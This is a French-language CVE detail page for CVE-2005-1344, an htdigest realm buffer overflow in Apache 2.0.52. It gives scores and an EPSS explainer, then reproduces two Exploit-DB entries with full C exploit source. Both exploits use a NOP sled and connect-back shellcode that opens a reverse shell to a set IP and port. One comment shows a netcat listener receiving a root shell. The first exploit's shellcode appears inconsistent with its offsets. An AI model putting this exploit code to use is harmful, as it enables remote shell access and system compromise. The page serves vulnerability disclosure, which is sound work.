CVE-2005-1344 : Détail

CVE-2005-1344

14.33%V4
Network
2005-04-27
02h00 +00:00
2005-05-06
07h00 +00:00
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Descriptions du CVE

Buffer overflow in htdigest in Apache 2.0.52 may allow attackers to execute arbitrary code via a long realm argument. NOTE: since htdigest is normally only locally accessible and not setuid or setgid, there are few attack vectors which would lead to an escalation of privileges, unless htdigest is executed from a CGI program. Therefore this may not be a vulnerability.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 25624

Date de publication : 2005-05-05 22h00 +00:00
Auteur : Luca Ercoli
EDB Vérifié : Yes

// source: https://www.securityfocus.com/bid/13537/info A buffer overflow vulnerability exists in the htdigest utility included with Apache. The vulnerability is due to improper bounds checking when copying user-supplied realm data into local buffers. By supplying an overly long realm value to the command line options of htdigest, it is possible to trigger an overflow condition. This may cause memory to be corrupted with attacker-specified values. This issue could be exploited by a remote attacker; potentially resulting in the execution of arbitrary system commands within the context of the web server process. #include <stdio.h> #include <string.h> #include <arpa/inet.h> /********************************************************************************/ #define IP "127.1.1.1" #define PORT 1337 unsigned int addys[] = { 0xbffffadd, // debian 3.1 }; // which address to use #define ADDY 0 /*******************************************************************************/ // Point Of EIP - The ammount of data we must write to completely overflow eip #define POE 395 // netric callback shellcode char cb[] = "\x31\xdb\x6a\x17\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68". "\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; #define IP_OFFSET 33 #define PORT_OFFSET 39 void changeip(char *ip); void changeport(char *code, int port, int offset); int main (void) { char buff[416]; int a; changeip(IP); changeport(cb, PORT, PORT_OFFSET); for (a = 0; a < 200; a++) *(buff+a) = 0x90; for (int b = 0; *(cb+b); a++, b++) *(buff+a) = *(cb+b); for (; a + 4 <= POE; a += 4) memcpy(buff+a, (addys+ADDY), 4); *(buff+a) = 0; fwrite(buff, strlen(buff), 1, stdout); return(0); } // ripped from some of snooq's code void changeip(char *ip) { char *ptr; ptr=cb+IP_OFFSET; /* Assume Little-Endianess.... */ *((long *)ptr)=inet_addr(ip); } // ripped from some of snooq's code void changeport(char *code, int port, int offset) { char *ptr; ptr=code+offset; /* Assume Little-Endianess.... */ *ptr++=(char)((port>>8)&0xff); *ptr++=(char)(port&0xff); }
Exploit Database EDB-ID : 25625

Date de publication : 2005-05-10 22h00 +00:00
Auteur : K-sPecial
EDB Vérifié : Yes

// source: https://www.securityfocus.com/bid/13537/info A buffer overflow vulnerability exists in the htdigest utility included with Apache. The vulnerability is due to improper bounds checking when copying user-supplied realm data into local buffers. By supplying an overly long realm value to the command line options of htdigest, it is possible to trigger an overflow condition. This may cause memory to be corrupted with attacker-specified values. This issue could be exploited by a remote attacker; potentially resulting in the execution of arbitrary system commands within the context of the web server process. /* * htdigest-realm-bof.c by K-sPecial 5-11-2005 { irc://irc.xzziroz.net } * * exploit for htdigest 'realm' parameter overflow; not sure on versions, seems to be <= 1.3.27 <= 2.0.52 * http://www.securiteam.com/unixfocus/5EP061FEKC.html * * compile with: gcc -o htdigest-realm-bof htdigest-realm-bof.c -std=c99 * * One thing to note, apache seems to have htdigest going on quite odd, this code was written * for the version that the htdigest sh script links together, debian seems to install the actual binary, * so these might not be compatible. Also to note, this code was tested and created using the htdigest * script/lt-htdigest that comes with apache 2.0.52 * * kspecial@xzziroz:/usr/src/httpd-2.0.52/support$ ./htdigest -c file `./htdigest-realm-bof` user * Adding password for user in realm ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�1�1�Q�Q�Q�Q�ᳰf̀��1�1�QQhfh9�fQ��SWR�ᳰf̀1�9�t1�̀1�?��̀1�?�ӱ̀1�?�ӱ̀1�1�Phn/shh//bi��PS�� * ̀1�̀����������������������������������������������������������������. * ^[[?1;2cNew password: * Re-type new password: * * kspecial@xzziroz:~$ nc -lvp 1337 * listening on [any] 1337 ... * 127.1.1.1: inverse host lookup failed: Unknown host * connect to [127.1.1.1] from (UNKNOWN) [127.1.1.1] 2965 * id * uid=1000(kspecial) gid=1000(kspecial) euid=0(root) groups=100(users),1000(kspecial),1002(media) * * * Of course the binary is not setuid by default. This ploit could be possibly useful to gain a * shell when htdigest is being ran through a CGI script. */ #include <stdio.h> #include <string.h> #include <arpa/inet.h> /********************************************************************************/ #define IP "127.1.1.1" #define PORT 1337 unsigned int addys[] = { 0xbffffadd, // debian 3.1 }; // which address to use #define ADDY 0 /*******************************************************************************/ // Point Of EIP - The ammount of data we must write to completely overflow eip #define POE 395 // netric callback shellcode char cb[] = "\x31\xc0\x31\xdb\x31\xc9\x51\xb1" "\x06\x51\xb1\x01\x51\xb1\x02\x51" "\x89\xe1\xb3\x01\xb0\x66\xcd\x80" "\x89\xc2\x31\xc0\x31\xc9\x51\x51" "\x68\x41\x42\x43\x44\x66\x68\xb0" "\xef\xb1\x02\x66\x51\x89\xe7\xb3" "\x10\x53\x57\x52\x89\xe1\xb3\x03" "\xb0\x66\xcd\x80\x31\xc9\x39\xc1" "\x74\x06\x31\xc0\xb0\x01\xcd\x80" "\x31\xc0\xb0\x3f\x89\xd3\xcd\x80" "\x31\xc0\xb0\x3f\x89\xd3\xb1\x01" "\xcd\x80\x31\xc0\xb0\x3f\x89\xd3" "\xb1\x02\xcd\x80\x31\xc0\x31\xd2" "\x50\x68\x6e\x2f\x73\x68\x68\x2f" "\x2f\x62\x69\x89\xe3\x50\x53\x89" "\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0" "\x01\xcd\x80"; #define IP_OFFSET 33 #define PORT_OFFSET 39 void changeip(char *ip); void changeport(char *code, int port, int offset); int main (void) { char buff[416]; int a; changeip(IP); changeport(cb, PORT, PORT_OFFSET); for (a = 0; a < 200; a++) *(buff+a) = 0x90; for (int b = 0; *(cb+b); a++, b++) *(buff+a) = *(cb+b); for (; a + 4 <= POE; a += 4) memcpy(buff+a, (addys+ADDY), 4); *(buff+a) = 0; fwrite(buff, strlen(buff), 1, stdout); return(0); } // ripped from some of snooq's code void changeip(char *ip) { char *ptr; ptr=cb+IP_OFFSET; /* Assume Little-Endianess.... */ *((long *)ptr)=inet_addr(ip); } // ripped from some of snooq's code void changeport(char *code, int port, int offset) { char *ptr; ptr=code+offset; /* Assume Little-Endianess.... */ *ptr++=(char)((port>>8)&0xff); *ptr++=(char)(port&0xff); }

Products Mentioned

Configuraton 0

Apache>>Http_server >> Version 2.0.52

Références

http://www.osvdb.org/12848
Tags : vdb-entry, x_refsource_OSVDB
http://www.securityfocus.com/bid/13537
Tags : vdb-entry, x_refsource_BID